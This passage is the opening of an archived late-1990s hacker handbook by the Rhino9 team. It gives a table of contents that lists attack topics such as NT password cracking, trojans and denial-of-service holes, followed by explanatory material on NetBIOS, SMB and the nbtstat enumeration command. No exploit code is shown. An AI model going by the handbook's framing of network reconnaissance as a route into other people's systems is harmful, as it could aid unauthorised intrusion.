home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / misc / MadHackDict.txt < prev    next >
Text File  |  2001-07-11  |  593KB  |  11,416 lines

  1. The MH DeskReference
  2. Version 1.2
  3.  
  4. Written/Assembled by
  5. The Rhino9 Team
  6.  
  7.  
  8. Table of Contents
  9.  
  10. =Part One=
  11. =Essential background Knowledge=
  12.  
  13. [0.0.0] Preface
  14. [0.0.1] The Rhino9 Team
  15. [0.0.2] Disclaimer
  16. [0.0.3] Thanks and Greets
  17.  
  18. [1.0.0] Preface To NetBIOS
  19. [1.0.1] What is NetBIOS?
  20. [1.0.2] NetBIOS Names
  21. [1.0.3] NetBIOS Sessions
  22. [1.0.4] NetBIOS Datagrams
  23. [1.0.5] NetBEUI Explained
  24. [1.0.6] NetBIOS Scopes
  25.  
  26. [1.2.0] Preface to SMB's
  27. [1.2.1] What are SMB's?
  28. [1.2.2] The Redirector
  29.  
  30. [2.0.0] What is TCP/IP?
  31. [2.0.1] FTP Explained
  32. [2.0.2] Remote Login
  33. [2.0.3] Computer Mail
  34. [2.0.4] Network File Systems
  35. [2.0.5] Remote Printing
  36. [2.0.6] Remote Execution
  37. [2.0.7] Name Servers
  38. [2.0.8] Terminal Servers
  39. [2.0.9] Network-Oriented Window Systems
  40. [2.1.0] General description of the TCP/IP protocols
  41. [2.1.1] The TCP Level
  42. [2.1.2] The IP level
  43. [2.1.3] The Ethernet level
  44. [2.1.4] Well-Known Sockets And The Applications Layer
  45. [2.1.5] Other IP Protocols
  46. [2.1.6] Domain Name System
  47. [2.1.7] Routing
  48. [2.1.8] Subnets and Broadcasting
  49. [2.1.9] Datagram Fragmentation and Reassembly
  50. [2.2.0] Ethernet encapsulation: ARP
  51.  
  52. [3.0.0] Preface to the WindowsNT Registry
  53. [3.0.1] What is the Registry?
  54. [3.0.2] In Depth Key Discussion
  55. [3.0.3] Understanding Hives
  56. [3.0.4] Default Registry Settings
  57.  
  58. [4.0.0] Introduction to PPTP
  59. [4.0.1] PPTP and Virtual Private Networking
  60. [4.0.2] Standard PPTP Deployment
  61. [4.0.3] PPTP Clients
  62. [4.0.4] PPTP Architecture
  63. [4.0.5] Understanding PPTP Security
  64. [4.0.6] PPTP and the Registry
  65. [4.0.7] Special Security Update
  66.  
  67. [5.0.0] TCP/IP Commands as Tools
  68. [5.0.1] The Arp Command
  69. [5.0.2] The Traceroute Command
  70. [5.0.3] The Netstat Command
  71. [5.0.4] The Finger Command
  72. [5.0.5] The Ping Command
  73. [5.0.6] The Nbtstat Command
  74. [5.0.7] The IpConfig Command
  75. [5.0.8] The Telnet Command
  76.  
  77. [6.0.0] NT Security
  78. [6.0.1] The Logon Process
  79. [6.0.2] Security Architecture Components
  80. [6.0.3] Introduction to Securing an NT Box
  81. [6.0.4] Physical Security Considerations
  82. [6.0.5] Backups
  83. [6.0.6] Networks and Security
  84. [6.0.7] Restricting the Boot Process
  85. [6.0.8] Security Steps for an NT Operating System
  86. [6.0.9] Install Latest Service Pack and applicable hot-fixes
  87. [6.1.0] Display a Legal Notice Before Log On
  88. [6.1.1] Rename Administrative Accounts
  89. [6.1.2] Disable Guest Account
  90. [6.1.3] Logging Off or Locking the Workstation
  91. [6.1.4] Allowing Only Logged-On Users to Shut Down the Computer
  92. [6.1.5] Hiding the Last User Name
  93. [6.1.6] Restricting Anonymous network access to Registry
  94. [6.1.7] Restricting Anonymous network access to lookup account names and network shares
  95. [6.1.8] Enforcing strong user passwords
  96. [6.1.9] Disabling LanManager Password Hash Support
  97. [6.2.0] Wiping the System Page File during clean system shutdown
  98. [6.2.1] Protecting the Registry
  99. [6.2.2] Secure EventLog Viewing
  100. [6.2.3] Secure Print Driver Installation
  101. [6.2.4] The Schedule Service (AT Command)
  102. [6.2.5] Secure File Sharing
  103. [6.2.6] Auditing
  104. [6.2.7] Threat    Action    
  105. [6.2.8] Enabling System Auditing
  106. [6.2.9] Auditing Base Objects
  107. [6.3.0] Auditing of Privileges
  108. [6.3.1] Protecting Files and Directories
  109. [6.3.2] Services and NetBios Access From Internet
  110. [6.3.3] Alerter and Messenger Services 
  111. [6.3.4] Unbind Unnecessary Services from Your Internet Adapter Cards 
  112. [6.3.5] Enhanced Protection for Security Accounts Manager Database
  113. [6.3.6] Disable Caching of Logon Credentials during interactive logon.
  114. [6.3.7] How to secure the %systemroot%\repair\sam._ file
  115. [6.3.8] TCP/IP Security in NT
  116. [6.3.9] Well known TCP/UDP Port numbers   
  117.  
  118. [7.0.0] Preface to Microsoft Proxy Server
  119. [7.0.1] What is Microsoft Proxy Server?
  120. [7.0.2] Proxy Servers Security Features
  121. [7.0.3] Beneficial Features of Proxy
  122. [7.0.4] Hardware and Software Requirements
  123. [7.0.5] What is the LAT?
  124. [7.0.6] What is the LAT used for?
  125. [7.0.7] What changes are made when Proxy Server is installed?
  126. [7.0.8] Proxy Server Architecture
  127. [7.0.9] Proxy Server Services: An Introduction
  128. [7.1.0] Understanding components
  129. [7.1.1] ISAPI Filter
  130. [7.1.2] ISAPI Application
  131. [7.1.3] Proxy Servers Caching Mechanism
  132. [7.1.4] Windows Sockets
  133. [7.1.5] Access Control Using Proxy Server
  134. [7.1.6] Controlling Access by Internet Service
  135. [7.1.7] Controlling Access by IP, Subnet, or Domain
  136. [7.1.8] Controlling Access by Port
  137. [7.1.9] Controlling Access by Packet Type
  138. [7.2.0] Logging and Event Alerts
  139. [7.2.1] Encryption Issues
  140. [7.2.2] Other Benefits of Proxy Server
  141. [7.2.3] RAS
  142. [7.2.4] IPX/SPX
  143. [7.2.5] Firewall Strategies
  144. [7.2.6] Logical Construction
  145. [7.2.7] Exploring Firewall Types
  146. [7.2.3] NT Security Twigs and Ends
  147.  
  148. =Part Two=
  149. =The Techniques of Survival=
  150.  
  151.  
  152. [8.0.0] NetBIOS Attack Methods
  153. [8.0.1] Comparing NAT.EXE to Microsoft's own executables
  154. [8.0.2] First, a look at NBTSTAT
  155. [8.0.3] Intro to the NET commands
  156. [8.0.4] Net Accounts
  157. [8.0.5] Net Computer
  158. [8.0.6] Net Config Server or Net Config Workstation
  159. [8.0.7] Net Continue
  160. [8.0.8] Net File
  161. [8.0.9] Net Group
  162. [8.1.0] Net Help
  163. [8.1.1] Net Helpmsg message#
  164. [8.1.2] Net Localgroup
  165. [8.1.3] Net Name
  166. [8.1.4] Net Pause
  167. [8.1.5] Net Print
  168. [8.1.6] Net Send
  169. [8.1.7] Net Session
  170. [8.1.8] Net Share
  171. [8.1.9] Net Statistics Server or Workstation
  172. [8.2.0] Net Stop
  173. [8.2.1] Net Time
  174. [8.2.2] Net Use
  175. [8.2.3] Net User
  176. [8.2.4] Net View
  177. [8.2.5] Special note on DOS and older Windows Machines
  178. [8.2.6] Actual NET VIEW and NET USE Screen Captures during a hack
  179.  
  180. [9.0.0] Frontpage Extension Attacks
  181. [9.0.1] For the tech geeks, we give you an actual PWDUMP
  182. [9.0.2] The haccess.ctl file
  183. [9.0.3] Side note on using John the Ripper
  184.  
  185. [10.0.0] WinGate
  186. [10.0.1] What Is WinGate?
  187. [10.0.2] Defaults After a WinGate Install
  188. [10.0.3] Port 23 Telnet Proxy
  189. [10.0.4] Port 1080  SOCKS Proxy
  190. [10.0.5] Port 6667  IRC Proxy
  191. [10.0.6] How Do I Find and Use a WinGate?
  192. [10.0.7] I have found a WinGate telnet proxy now what?
  193. [10.0.8] Securing the Proxys
  194. [10.0.9] mIRC 5.x WinGate Detection Script
  195. [10.1.0] Conclusion
  196.  
  197. [11.0.0] What a security person should know about WinNT
  198. [11.0.1] NT Network structures (Standalone/WorkGroups/Domains) 
  199. [11.0.2] How does the authentication of a user actually work
  200. [11.0.3] A word on NT Challenge and Response 
  201. [11.0.4] Default NT user groups
  202. [11.0.5] Default directory permissions
  203. [11.0.6] Common NT accounts and passwords
  204. [11.0.7] How do I get the admin account name?
  205. [11.0.8] Accessing the password file in NT
  206. [11.0.9] Cracking the NT passwords
  207. [11.1.0] What is 'last login time'?
  208. [11.1.1] Ive got Guest access, can I try for Admin?
  209. [11.1.2] I heard that the %systemroot%\system32 was writeable?
  210. [11.1.3] What about spoofin DNS against NT?
  211. [11.1.4] What about default shared folders?
  212. [11.1.5] How do I get around a packet filter-based firewall?
  213. [11.1.6] What is NTFS?
  214. [11.1.7] Are there are vulnerabilities to NTFS and access controls?
  215. [11.1.8] How is file and directory security enforced?
  216. [11.1.9] Once in, how can I do all that GUI stuff?
  217. [11.2.0] How do I bypass the screen saver?
  218. [11.2.1] How can tell if its an NT box?
  219. [11.2.2] What exactly does the NetBios Auditing Tool do?
  220.  
  221.  
  222. [12.0.0] Cisco Routers and their configuration
  223. [12.0.1] User Interface Commands
  224. [12.0.2] disable 
  225. [12.0.3] editing 
  226. [12.0.4] enable 
  227. [12.0.5] end 
  228. [12.0.6] exit 
  229. [12.0.7] full-help 
  230. [12.0.8] help 
  231. [12.0.9] history 
  232. [12.1.0] ip http access-class 
  233. [12.1.1] ip http port 
  234. [12.1.2] ip http server 
  235. [12.1.3] menu (EXEC) 
  236. [12.1.4] menu (global) 
  237. [12.1.5] menu command 
  238. [12.1.6] menu text 
  239. [12.1.7] menu title 
  240. [12.1.8] show history 
  241. [12.1.9] terminal editing 
  242. [12.2.0] terminal full-help (EXEC) 
  243. [12.2.1] terminal history 
  244. [12.2.2] Network Access Security Commands
  245. [12.2.3] aaa authentication arap 
  246. [12.2.4] aaa authentication enable default 
  247. [12.2.5] aaa authentication local-override 
  248. [12.2.6] aaa authentication login 
  249. [12.2.7] aaa authentication nasi 
  250. [12.2.8] aaa authentication password-prompt 
  251. [12.2.9] aaa authentication ppp 
  252. [12.3.0] aaa authentication username-prompt 
  253. [12.3.1] aaa authorization 
  254. [12.3.2] aaa authorization config-commands 
  255. [12.3.3] aaa new-model 
  256. [12.3.4] arap authentication 
  257. [12.3.5] clear kerberos creds 
  258. [12.3.6] enable last-resort 
  259. [12.3.7] enable use-tacacs 
  260. [12.3.8] ip radius source-interface 
  261. [12.3.9] ip tacacs source-interface 
  262. [12.4.0] kerberos clients mandatory 
  263. [12.4.1] kerberos credentials forward 
  264. [12.4.2] kerberos instance map 
  265. [12.4.3] kerberos local-realm 
  266. [12.4.4] kerberos preauth 
  267. [12.4.5] kerberos realm 
  268. [12.4.6] kerberos server 
  269. [12.4.7] kerberos srvtab entry 
  270. [12.4.8] kerberos srvtab remote 
  271. [12.4.9] key config-key 
  272. [12.5.0] login tacacs 
  273. [12.5.1] nasi authentication 
  274. [12.5.2] ppp authentication 
  275. [12.5.3] ppp chap hostname 
  276. [12.5.4] ppp chap password 
  277. [12.5.5] ppp pap sent-username 
  278. [12.5.6] ppp use-tacacs 
  279. [12.5.7] radius-server dead-time 
  280. [12.5.8] radius-server host 
  281. [12.5.9] radius-server key 
  282. [12.6.0] radius-server retransmit 
  283. [12.6.1] show kerberos creds 
  284. [12.6.2] show privilege 
  285. [12.6.3] tacacs-server key 
  286. [12.6.4] tacacs-server login-timeout 
  287. [12.6.5] tacacs-server authenticate 
  288. [12.6.6] tacacs-server directed-request 
  289. [12.6.7] tacacs-server key 
  290. [12.6.8] tacacs-server last-resort 
  291. [12.6.9] tacacs-server notify 
  292. [12.7.0] tacacs-server optional-passwords 
  293. [12.7.1] tacacs-server retransmit 
  294. [12.7.2] tacacs-server timeout 
  295. [12.7.3] Traffic Filter Commands
  296. [12.7.4] access-enable 
  297. [12.7.5] access-template 
  298. [12.7.6] clear access-template 
  299. [12.7.7] show ip accounting 
  300. [12.7.8] Terminal Access Security Commands
  301. [12.7.9] enable password 
  302. [12.8.0] enable secret 
  303. [12.8.1] ip identd 
  304. [12.8.2] login authentication 
  305. [12.8.3] privilege level (global) 
  306. [12.8.4] privilege level (line) 
  307. [12.8.5] service password-encryption 
  308. [12.8.6] show privilege 
  309. [12.8.7] username 
  310. [12.8.8] A Word on Ascend Routers
  311.  
  312. [13.0.0] Known NT/95/IE Holes
  313. [13.0.1] WINS port 84
  314. [13.0.2] WindowsNT and SNMP
  315. [13.0.3] Frontpage98 and Unix
  316. [13.0.4] TCP/IP Flooding with Smurf
  317. [13.0.5] SLMail Security Problem
  318. [13.0.6] IE 4.0 and DHTML
  319. [13.0.7] 2 NT Registry Risks
  320. [13.0.8] Wingate Proxy Server
  321. [13.0.9] O'Reilly Website uploader Hole
  322. [13.1.0] Exchange 5.0 Password Caching
  323. [13.1.1] Crashing NT using NTFS
  324. [13.1.2] The GetAdmin Exploit
  325. [13.1.3] Squid Proxy Server Hole
  326. [13.1.4] Internet Information Server DoS attack 
  327. [13.1.5] Ping Of Death II
  328. [13.1.6] NT Server's DNS DoS Attack
  329. [13.1.7] Index Server Exposes Sensitive Material
  330. [13.1.8] The Out Of Band (OOB) Attack
  331. [13.1.9] SMB Downgrade Attack
  332. [13.2.0] RedButton
  333. [13.2.1] FrontPage WebBot Holes
  334. [13.2.2] IE and NTLM Authentication
  335. [13.2.3] Run Local Commands with IE
  336. [13.2.4] IE can launch remote apps
  337. [13.2.5] Password Grabbing Trojans
  338. [13.2.6] Reverting an ISAPI Script
  339. [13.2.7] Rollback.exe
  340. [13.2.8] Replacing System .dll's
  341. [13.2.9] Renaming Executables
  342. [13.3.0] Viewing ASP Scripts
  343. [13.3.1] .BAT and .CMD Attacks
  344. [13.3.2] IIS /..\.. Problem
  345. [13.3.3] Truncated Files
  346. [13.3.4] SNA Holes
  347. [13.3.5] SYN Flooding
  348. [13.3.6] Land Attack
  349. [13.3.7] Teardrop
  350. [13.3.8] Pentium Bug
  351.  
  352. [14.0.0] VAX/VMS Makes a comeback (expired user exploit)
  353. [14.0.1] Step 1
  354. [14.0.2] Step 2
  355. [14.0.3] Step 3
  356. [14.0.4] Note
  357.  
  358. [15.0.0] Linux security 101 
  359. [15.0.1] Step 1
  360. [15.0.2] Step 2
  361. [15.0.3] Step 3
  362. [15.0.4] Step 4
  363. [15.0.5] Step 5
  364. [15.0.6] Step 6
  365.  
  366. [16.0.0] Unix Techniques. New and Old.
  367. [16.0.1] ShowMount Technique
  368. [16.0.2] DEFINITIONS
  369. [16.0.3] COMPARISION TO THE MICROSOFT WINDOWD FILESHARING
  370. [16.0.4] SMBXPL.C
  371. [16.0.5] Basic Unix Commands
  372. [16.0.6] Special Chracters in Unix
  373. [16.0.7] File Permissions Etc..
  374. [16.0.8] STATD EXPLOIT TECHNIQUE
  375. [16.0.9] System Probing
  376. [16.1.0] Port scanning
  377. [16.1.1] rusers and finger command
  378. [16.1.2] Mental Hacking, once you know a username
  379.  
  380. [17.0.0] Making a DDI from a Motorola Brick phone
  381.  
  382. [18.0.0] Pager Programmer
  383.  
  384. [19.0.0] The End
  385.  
  386. ==============Part One==============
  387. ===================Needed Background Knowledge===================
  388.  
  389. This ones for you Kevinà May the Condor fly once moreà
  390.  
  391. [0.0.0] Preface
  392.  
  393. This book was written/compiled by The Rhino9 Team as a document for the modern hacker. We 
  394. chose to call it the Modern Hackers Desk Reference because it mostly deals with Networking 
  395. Technologies and Windows NT issues. Which, as everyone knows, is a must knowledge these 
  396. days. Well, rhino9, as the premiere NT Security source, we have continually given to the security 
  397. community freely. We continue this tradition now with this extremely useful book. This book 
  398. covers WindowsNT security issues, Unix, Linux, Irix, Vax, Router configuration, Frontpage, 
  399. Wingate and much much more.
  400.  
  401. [0.0.1] The Rhino9 Team
  402.  
  403. At the time of release, the rhino9 team is:
  404.  
  405. NeonSurge  (neonsurge@hotmail.com) [Security/Technical Research/Senior Member]
  406. Chameleon  (chameleon@pemail.com) [Security/Software Developer/Senior Member]
  407. Vacuum  (vacuum@technotronic.com) [Security/Software Research/Senior Member]
  408. Rute (banshee@evil-empire.com) [Security/Software Developer/Code Guru]
  409. Syndicate  (syndicate@pemail.com) [Security/HTML Operations/Senior Member]
  410. The090000  (090000@intercore.com.ar) [Security]
  411. DemonBytez  (root@cybrids.org) [Security]
  412. NetJammer  (netjammer@x-treme.org) [Security]
  413.  
  414. [0.0.2] Disclaimer
  415.  
  416. This text document is released FREE of charge to EVERYONE. The rhino9 team made NO 
  417. profits from this text. This text is NOT meant for re-sale, or for trade for any other type of material 
  418. or monetary possesions. This text is given freely to the Internet community. The authors of this 
  419. text do not take responsibility for damages incurred during the practice of any of the information 
  420. contained within this text document. 
  421.  
  422. [0.0.3] Thanks and Greets
  423.  
  424. Extra special greetings and serious mad ass props to NeonSurgeÆs fiance SisterMoon, and 
  425. ChameleonÆs woman, Jayde. Special thanks to the people at ntsecurity.net. Special thanks to 
  426. Simple Nomad for releasing the NT HACK FAQ which was used in the making of this document. 
  427. Thanks to Cisco Systems for making such superior equipment. Thanks to the guy from Lucent 
  428. Technologies, whose text file was used during one of the NT Security sections (if you see this, 
  429. contact me so I can give you proper credit). Special props go out to Virtual of Cybrids for his 
  430. information on CellPhones and Pagers. Special props to Phreak-0 for his Unix contributions.  Mad 
  431. props to Hellmaster for the Vax info. Thanks to Rloxley and the rest of X-Treme for helping with 
  432. the distribution and advertising of this document. Thanks to Merlin45 for being the marketing pimp 
  433. that he is. Special thanks to InterCore for the unix information. Greetings to Cybrids, Intercore, X-
  434. Treme, L0pht, CodeZero (grins), 2600 Magazine (thanks for your vigilance on the Mitnick case).
  435.  
  436.  
  437. [1.0.0] Preface to NetBIOS
  438.  
  439. Before you begin reading this section, understand that this section was written for the novice to 
  440. the concept of NetBIOS, but - it also contains information the veteran might find educational. I am 
  441. prefacing this so that I do not get e-mail like "Why did you start your NetBIOS section off so 
  442. basic?" - Simple, its written for people that may be coming from an enviroment that does not use 
  443. NetBIOS, so they would need me to start with basics, thanks.
  444.  
  445. [1.0.1] Whats is NetBIOS?
  446.  
  447. NetBIOS (Network Basic Input/Output System) was originally developed by IBM and Sytek as an 
  448. Application Programming Interface (API) for client software to access LAN resources. Since its 
  449. creation, NetBIOS has become the basis for many other networking applications. In its strictest 
  450. sense, NetBIOS is an interface specification for acessing networking services.
  451.  
  452. NetBIOS, a layer of software developed to link a network operating system with specific 
  453. hardware, was originally designed as THE network controller for IBM's Network LAN. NetBIOS 
  454. has now been extended to allow programs written using the NetBIOS interface to operate on the 
  455. IBM token ring architecture. NetBIOS has since been adopted as an industry standard and now, it 
  456. is common to refer to NetBIOS-compatible LANs.
  457.  
  458. It offers network applications a set of "hooks" to carry out inter-application communication and 
  459. data transfer. In a basic sense, NetBIOS allows applications to talk to the network. Its intention is 
  460. to isolate application programs from any type of hardware dependancies. It also spares software 
  461. developers the task of developing network error recovery and low level message addressing or 
  462. routing. The use of the NetBIOS interface does alot of this work for them.
  463.  
  464. NetBIOS standardizes the interface between applications and a LANs operating capabilities. With 
  465. this, it can be specified to which levels of the OSI model the application can write to, making the 
  466. application transportable to other networks. In a NetBIOS LAN enviroment, computers are known 
  467. on the system  by a name. Each computer on the network has a permanent name that is 
  468. programmed in various different ways. These names will be discussed in more detail below.
  469.  
  470. PC's on a NetBIOS LAN communicate either by establishing a session or by using NetBIOS 
  471. datagram or broadcast methods. Sessions allow for a larger message to be sent and handle error 
  472. detection and correction. The communication is on a one-to-one basis.  Datagram and broadcast 
  473. methods allow one computer to communicate with several other computers at the same time, but 
  474. are limited in message size. There is no error detection or correction using these datagram or 
  475. broadcast methods. However, datagram communication allows for communication without having 
  476. to establish a session.
  477.  
  478. All communication in these enviroments are presented to NetBIOS in a format called Network 
  479. Control Blocks (NCB). The allocation of these blocks in memory is dependant on the user 
  480. program. These NCB's are divided into fields, these are reserved for input and output 
  481. respectively.
  482.  
  483. NetBIOS is a very common protocol used in todays enviroments. NetBIOS is supported on 
  484. Ethernet, TokenRing, and IBM PC Networks.  In its original induction, it was defined as only an 
  485. interface between the application and the network adapter. Since then, transport like functions 
  486. have been added to NetBIOS, making it more functional over time.
  487.  
  488. In NetBIOS, connection (TCP) oriented and connectionless (UDP) communication are both 
  489. supported. It supports both broadcasts and multicasting and supports three distinct services: 
  490. Naming, Session, and Datagram.
  491.  
  492. [1.0.2] NetBIOS Names
  493.  
  494. NetBIOS names are used to identify resources on a network. Applications use these names to 
  495. start and end sessions. You can configure a single machine with multiple applications, each of 
  496. which has a unique NetBIOS name. Each PC that supports an application  also has a NetBIOS 
  497. station name that is user defined or that NetBIOS derives by internal means.
  498.  
  499. NetBIOS can consist of up to 16 alphanumeric characters. The combination of characters must 
  500. be unique within  the entire source routing network. Before a PC that uses NetBIOS can fully 
  501. function on a network, that PC must register their NetBIOS name. 
  502.  
  503. When a client becomes active, the client advertises their name. A client is considered to be 
  504. registered when it can successfully advertise itself without any other client claiming it has the 
  505. same name. The steps of the registration process is as follows:
  506.  
  507. 1. Upon boot up, the client broadcasts itself and its NetBIOS information anywhere from 6 to 10 to 
  508. ensure every other client on the network receives the information.
  509.  
  510. 2. If another client on the network already has the name, that NetBIOS client issues its own 
  511. broadcast to indicate that the name is in use. The client who is trying to register the already in use 
  512. name, stop all attempts to register that name.
  513.  
  514. 3. If no other client on the network objects to the name registration, the client will finish the 
  515. registration process.
  516.  
  517. There are two types of names in a NetBIOS enviroment: Unique and Group. A unique name must 
  518. be unique across the network. A group name does not have to be unique and all processes that 
  519. have a given group name belong to the group. Each NetBIOS node maintains a table of all 
  520. names currently owned by that node. 
  521.  
  522. The NetBIOS naming convention allows for 16 characters in a NetBIOS name. Microsoft, 
  523. however, limits these names to 15 characters and uses the 16th character as a NetBIOS suffix. A 
  524. NetBIOS suffix  is used by Microsoft Networking software to indentify the functionality installed or 
  525. the registered device or service.
  526.  
  527. [QuickNote: SMB and NBT (NetBIOS over TCP/IP work very closely together and both use ports 
  528. 137, 138, 139. Port 137 is NetBIOS name UDP. Port 138 is NetBIOS datagram UDP. Port 139 is 
  529. NetBIOS session TCP. For further information on NetBIOS, read the paper at the rhino9 website 
  530. listed above]
  531.  
  532. The following is a table of NetBIOS suffixes currently used by Microsoft WindowsNT. These 
  533. suffixes are displayed in hexadecimal format.
  534.  
  535. Name            Number        Type        Usage
  536. =========================================================================
  537. =
  538. <computername>    00        U        Workstation Service
  539. <computername>    01        U        Messenger Service
  540. <\\_MSBROWSE_>    01        G        Master Browser
  541. <computername>    03        U        Messenger Service
  542. <computername>    06        U        RAS Server Service
  543. <computername>    1F        U        NetDDE Service
  544. <computername>    20        U        File Server Service
  545. <computername>    21        U        RAS Client Service
  546. <computername>    22        U        Exchange Interchange 
  547. <computername>    23        U        Exchange Store
  548. <computername>    24        U        Exchange Directory
  549. <computername>    30        U        Modem Sharing Server Service
  550. <computername>    31        U        Modem Sharing Client Service
  551. <computername>    43        U        SMS Client Remote Control
  552. <computername>    44        U        SMS Admin Remote Control Tool
  553. <computername>    45        U        SMS Client Remote Chat
  554. <computername>    46        U        SMS Client Remote Transfer
  555. <computername>    4C        U        DEC Pathworks TCPIP Service
  556. <computername>    52        U        DEC Pathworks TCPIP Service
  557. <computername>    87        U        Exchange MTA
  558. <computername>    6A        U        Exchange IMC
  559. <computername>    BE        U        Network Monitor Agent
  560. <computername>    BF        U        Network Monitor Apps
  561. <username>        03        U        Messenger Service
  562. <domain>        00        G        Domain Name
  563. <domain>        1B        U        Domain Master Browser
  564. <domain>        1C        G        Domain Controllers
  565. <domain>        1D        U         Master Browser
  566. <domain>        1E        G        Browser Service Elections
  567. <INet~Services>    1C        G        Internet Information Server
  568. <IS~Computer_name>    00        U        Internet Information Server
  569. <computername>    [2B]        U        Lotus Notes Server
  570. IRISMULTICAST        [2F]        G        Lotus Notes
  571. IRISNAMESERVER    [33]        G        Lotus Notes
  572. Forte_$ND800ZA    [20]        U        DCA Irmalan Gateway Service
  573.  
  574. Unique (U): The name may have only one IP address assigned to it. On a network device, 
  575. multiple occurences of a single name may appear to be registered, but the suffix will be unique, 
  576. making the entire name unique.
  577.  
  578. Group (G): A normal group; the single name may exist with many IP addresses. 
  579.  
  580. Multihomed (M): The name is unique, but due to multiple network interfaces on the same 
  581. computer, this configuration is necessary to permit the registration. Maximum number of 
  582. addresses is 25.
  583.  
  584. Internet Group (I): This is a special configuration of the group name used to manage WinNT 
  585. domain names.
  586.  
  587. Domain Name (D): New in NT 4.0
  588.  
  589. For a quick and dirty look at a servers registered NetBIOS names and services, issue the 
  590. following NBTSTAT command:
  591.  
  592. nbtstat -A [ipaddress]
  593. nbtstat ûa [host]
  594.  
  595. [1.0.3] NetBIOS Sessions
  596.  
  597. The NetBIOS session service provides a connection-oriented, reliable, full-duplex message 
  598. service to a user process. NetBIOS requires one process to be the client and the other to be the 
  599. server. NetBIOS session establishment requires a preordained cooperation between the two 
  600. stations. One application must have issued a Listen command when another application issues a 
  601. Call command. The Listen command references a name in its NetBIOS name table (or WINS 
  602. server), and also the remote name an application must use to qualify as a session partner.  If the 
  603. receiver (listener) is not already listening, the Call will be unsuccessful. If the call is successful, 
  604. each application receives notification of session establishment with the session-id. The Send and 
  605. Receive commands the transfer data. At the end of a session, either application can issue a 
  606. Hang-Up command. There is no real flow control for the session service because it is assumed a 
  607. LAN is fast enough to carry the required traffic.
  608.  
  609. [1.0.4] NetBIOS Datagrams
  610.  
  611. Datagrams  can be sent to a specific name, sent to all members of a group, or broadcast to the 
  612. entire LAN. As with other datagram services, the NetBIOS datagrams are connectionless and 
  613. unreliable. The Send_Datagram command requires the caller to specify the name of the 
  614. destination. If the destination is a group name, then every member of the group receives the 
  615. datagram. The caller of the Receive_Datagram command must specify the local name for which it 
  616. wants to receive datagrams. The Receive_Datagram command also returns the name of the 
  617. sender, in addition to the actual datagram data. If NetBIOS receives a datagram, but there are no 
  618. Receive_Datagram commands pending, then the datagram is discarded. 
  619.  
  620. The Send_Broadcast_Datagram command sends the message to every NetBIOS system on the 
  621. local network. When a broadcast datagram is received by a NetBIOS node, every process that 
  622. has issued a Receive_Broadcast_Datagram command receives the datagram. If none of these 
  623. commands are outstanding when the broadcast datagram is received, the datagram is discarded.
  624.  
  625. NetBIOS enables an application to establish a session with another device and lets the network 
  626. redirector and transaction protocols pass a request to and from another machine. NetBIOS does 
  627. not actually manipulate the data. The NetBIOS specification defines an interface to the network 
  628. protocol used to reach those services, not the protocol itself. Historically, has been paired with a 
  629. network protocol called NetBEUI (network extended user interface). The association of the 
  630. interface and the protocol has sometimes caused confusion, but the two are different.
  631.  
  632. Network protocols always provide at least one method for locating and connecting to a particular 
  633. service on a network. This is usually accomplished by converting a node or service name to a 
  634. network address (name resolution). NetBIOS service names must be resolved to an IP address 
  635. before connections can be established with TCP/IP. Most NetBIOS implementations for TCP/IP 
  636. accomplish name address resolution by using either broadcast or LMHOSTS files. In a Microsoft 
  637. enviroment, you would probably also use a NetBIOS Namer Server known as WINS.
  638.  
  639. [1.0.5] NetBEUI Explained
  640.  
  641. NetBEUI is an enhanced version of the NetBIOS protocol used by network operating systems. It 
  642. formalizes the transport frame that was never standardized in NetBIOS and adds additional 
  643. functions. The transport layer driver frequently used by Microsofts LAN Manager. NetBEUI 
  644. implements the OSI LLC2 protocol.  NetBEUI is the original PC networking protocol and interface 
  645. designed by IBM for the LanManger Server. This protocol was later adopted by Microsoft for their 
  646. networking products. It specifies the way that higher level software sends and receives messages 
  647. over the NetBIOS frame protocol. This protocol runs over the standard 802.2 data-link protocol 
  648. layer.
  649.  
  650. [1.0.6] NetBIOS Scopes
  651.  
  652. A NetBIOS Scope ID provides an extended naming service for the NetBIOS over TCP/IP (Known 
  653. as NBT) module. The primary purpose of a NetBIOS scope ID is to isolate NetBIOS traffic on a 
  654. single network to only those nodes with the same NetBIOS scope ID. The NetBIOS scope ID is a 
  655. character string that is appended to the NetBIOS name. The NetBIOS scope ID on two hosts 
  656. must match, or the two hosts will not be able to communicate. The NetBIOS Scope ID also allows 
  657. computers to use the same computer namee as they have different scope IDs. The Scope ID 
  658. becomes a part of the NetBIOS name, making the name unique.
  659.  
  660. [1.2.0] Preface to SMBÆs
  661.  
  662. The reason I decided to write this section was because recently the rhino9 team has been giving 
  663. speeches and lectures. The two questions we most frequently come across is "What is 
  664. NetBIOS?" and "What are SMBs?". Well I hope I have already answered the NetBIOS question 
  665. with the section above. This particular section is being written to better help people understand 
  666. SMB's. 
  667.  
  668. [1.2.1] What are SMB's?
  669.  
  670. Server Message Blocks are a type of "messaging protocol" that LAN Manager (and NT) clients 
  671. and servers use to communicate with each other. SMB's are a higher level protocol that can be 
  672. transported over NetBEUI, NetBIOS over IPX, and NetBIOS over TCP/IP (or NBT).
  673.  
  674. SMBs are used by Windows 3.X, Win95, WintNT and OS/2. When it comes to security and the 
  675. compromise of security on an NT network, the one thing to remember about SMBs is that it 
  676. allows for remote access to shared directories, the registry, and other system services, making it 
  677. a deadly protocol in the eyes of security conscience people.
  678.  
  679. The SMB protocol was originally developed by IBM, and then jointly developed by Microsoft and 
  680. IBM. Network requests that are sent using SMB's are encoded as Network Control Blocks (NCB) 
  681. data structures. The NCB data structures are encoded in SMB format for transmission across the 
  682. network. SMB is used in many Microsoft and IBM networking software:
  683.  
  684. ? MS-Net
  685. ? IBM PC Network
  686. ? IBM LAN Server
  687. ? MS LAN Manager
  688. ? LAN Manager for Unix
  689. ? DEC Pathworks
  690. ? MS Windows for Workgroups
  691. ? Ungermann-Bass Net/1
  692. ? NT Networks through support for LAN Manager
  693.  
  694. SMB Messages can be categorized into four types:
  695.  
  696. Session Control: Used to establish or discontinue Redirector connections with a remote network 
  697. resource such as a directory or printer. (The redirector is explained below)
  698.  
  699. File: Used to access and manipulate file system resources on the remote computer.
  700.  
  701. Printer: Used by the Redirector to send print data to a remote printer or queue, and to obtain the 
  702. status of remote print devices.
  703.  
  704. Message: Used by applications and system components to send unicast or broadcast messages.
  705.  
  706. [1.2.2] The Redirector
  707.  
  708. The Redirector is the component that enables a client computer to gain access to resources on 
